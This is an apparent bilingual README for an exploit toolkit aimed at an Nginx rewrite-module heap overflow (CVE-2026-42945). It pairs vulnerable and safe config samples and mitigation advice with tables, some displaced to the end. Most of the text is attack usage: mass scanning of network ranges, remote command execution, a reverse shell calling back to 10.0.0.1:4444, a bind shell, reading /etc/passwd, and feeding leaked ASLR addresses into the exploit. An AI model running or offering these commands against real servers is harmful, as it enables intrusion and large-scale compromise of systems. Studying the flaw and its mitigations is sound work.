
CVE-2026-42945 Nginx Rift
A comprehensive proof-of-concept toolkit for CVE-2026-42945 (Nginx Rift), a critical heap buffer overflow vulnerability in Nginx's ngx_http_rewrite_module.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-42945 |
| Name | Nginx Rift |
| Type | Heap Buffer Overflow |
| Component | ngx_http_rewrite_module |
| Severity | Critical (CVSS 9.2) |
| Affected | Nginx 0.6.27 - 1.30.0 |
| Patched | Nginx 1.30.1 / 1.31.0 |
The vulnerability exists due to a size miscalculation between two internal passes when processing rewrite rules. If a configuration uses:
$1, $2, etc.)?Nginx miscalculates the required buffer size during the first pass and writes beyond the allocated heap buffer during the second pass.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - Core PoC ToolSingle-target vulnerability scanner and exploitation tool.
Features:
Server headerUsage:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - Mass ScannerBatch scanner for testing multiple targets concurrently.
Features:
Usage:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Target file format:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - Configuration AnalyzerScan local Nginx configuration files for vulnerable rewrite patterns.
Features:
nginx.conf and follow include directives? in replacement stringsUsage:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - Enhanced RCE PoCAdvanced exploit tool based on depthfirst's official research, supporting multiple rewrite patterns and exploit modes.
Features:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sUsage:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Exploit Mode Details:
Address Configuration (ASLR-off only):
--heap-base: Target heap base (e.g., 0x555555559000)--libc-base: libc base address (e.g., 0x7ffff77ba000)--system-addr: Direct system() address (overrides libc-base)aslr_leak_detector.py - ASLR Leak DetectorComprehensive scanner for detecting information leaks that can bypass ASLR protection.
Features:
/nginx_status, /actuator/*, etc.)enhanced_poc.py via JSON reportUsage:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
Integration with Enhanced PoC:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
The PoC tool identifies vulnerability through these indicators:
| Indicator | Description |
|---|---|
| Connection dropped | Target closes connection unexpectedly (worker crash) |
No external dependencies required. Uses only Python standard library.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
If patching is not immediately possible, replace unnamed captures with named captures:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Deploy WAF rules to block malformed requests targeting vulnerable rewrite patterns.
This toolkit is for authorized security testing and research purposes only.
This flaw was discovered alongside three other memory-corruption issues:
| CVE | Description | Severity |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI memory allocation flaw | High |
| CVE-2026-40701 | Use-after-free in DNS resolution for OCSP | Medium |
| CVE-2026-42934 | UTF-8 parsing out-of-bounds read | Medium |
This project is provided for educational and authorized security testing purposes.
Author: Security Research Team Date: 2026-06-11
CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。
在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:
$1、$2)? 字符Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — 核心 PoC 工具单目标漏洞检测与利用工具。
功能:
Server 响应头检测 Nginx 版本使用示例:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — 批量扫描器多线程并发扫描多个目标。
功能:
使用示例:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
目标文件格式:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — 配置文件检查器扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。
功能:
nginx.conf 并递归解析 include 引用的文件? 的 rewrite 指令使用示例:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — 增强版 RCE PoC基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。
功能:
/api/、/redirect/、/user/ 等)+、&、=、%)cmd / shell / bind / readngx_pool_cleanup_s溢出触发字符扩展表:
使用示例:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
利用模式说明:
地址配置(仅 ASLR 关闭环境):
--heap-base: 目标堆基址(如 0x555555559000)--libc-base: libc 基址(如 0x7ffff77ba000)--system-addr: 直接指定 system() 地址aslr_leak_detector.py — ASLR 信息泄露检测工具综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。
功能:
/nginx_status、/actuator/* 等)enhanced_poc.py 集成使用示例:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
与增强版 PoC 的联动使用:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC 工具通过以下现象判断目标是否存在漏洞:
| 检测指标 | 说明 |
|---|---|
| 连接断开 | 目标异常关闭连接(Worker 进程崩溃) |
| 网关错误 | 返回 HTTP 502/503/504(Worker 进程已死) |
| 响应变慢 | 响应时间显著增加(进程崩溃后自动重启) |
| 空响应体 |
无需安装任何第三方依赖,仅使用 Python 标准库即可运行。
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
将未命名捕获替换为命名捕获:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。
本工具包仅供授权的安全测试和研究用途。
此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:
| CVE 编号 | 描述 | 等级 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高危 |
| CVE-2026-40701 | OCSP DNS 解析 UAF | 中危 |
| CVE-2026-42934 | UTF-8 解析越界读取 | 中危 |
本项目仅供教育用途和授权安全测试使用。
作者: Security Research Team 日期: 2026-06-11
| Mode | Description | Output |
|---|
cmd | Execute single shell command | Command output on target |
shell | Spawn reverse shell | Connects back to --listen-ip:listen-port |
bind | Spawn bind shell on target | Listen on --listen-port at target |
read | Read file from target | Content written to /tmp/nginx_rift_read |
| Gateway errors | HTTP 502/503/504 responses (worker process died) |
| Slow responses | Response time significantly increases (crash recovery) |
| Empty responses | Response body disappears compared to baseline |
| Version match | Detected Nginx version is in vulnerable range |
| Product | Affected | Patched |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | All versions < patches | Update to patched release |
| Nginx Gateway Fabric | All versions < patches | Update to patched release |
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2026-42945 |
| 漏洞名称 | Nginx Rift |
| 漏洞类型 | 堆缓冲区溢出(Heap Buffer Overflow) |
| 影响组件 | ngx_http_rewrite_module |
| 危害等级 | 严重(CVSS 9.2) |
| 影响版本 | Nginx 0.6.27 - 1.30.0 |
| 修复版本 | Nginx 1.30.1 / 1.31.0 |
| 字符 | 扩展为 | 每字符溢出 |
|---|
+ | %2B | +2 字节 |
& | %26 | +2 字节 |
= | %3D | +2 字节 |
% | %25 | +2 字节 |
| 空格 | %20 | +2 字节 |
| 模式 | 说明 | 输出 |
|---|
cmd | 执行单条 shell 命令 | 命令输出保存在目标上 |
shell | 生成反弹 shell | 连接回 --listen-ip:listen-port |
bind | 生成绑定 shell | 在目标 --listen-port 上监听 |
read | 读取目标文件 | 内容写入 /tmp/nginx_rift_read |
| 与基线对比,响应体为空(Worker 已崩溃) |
| 版本匹配 | 检测到的 Nginx 版本在脆弱范围内 |
| 产品 | 受影响版本 | 修复版本 |
|---|
| Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 未打补丁的所有版本 | 更新到已修复版本 |
| Nginx Gateway Fabric | 未打补丁的所有版本 | 更新到已修复版本 |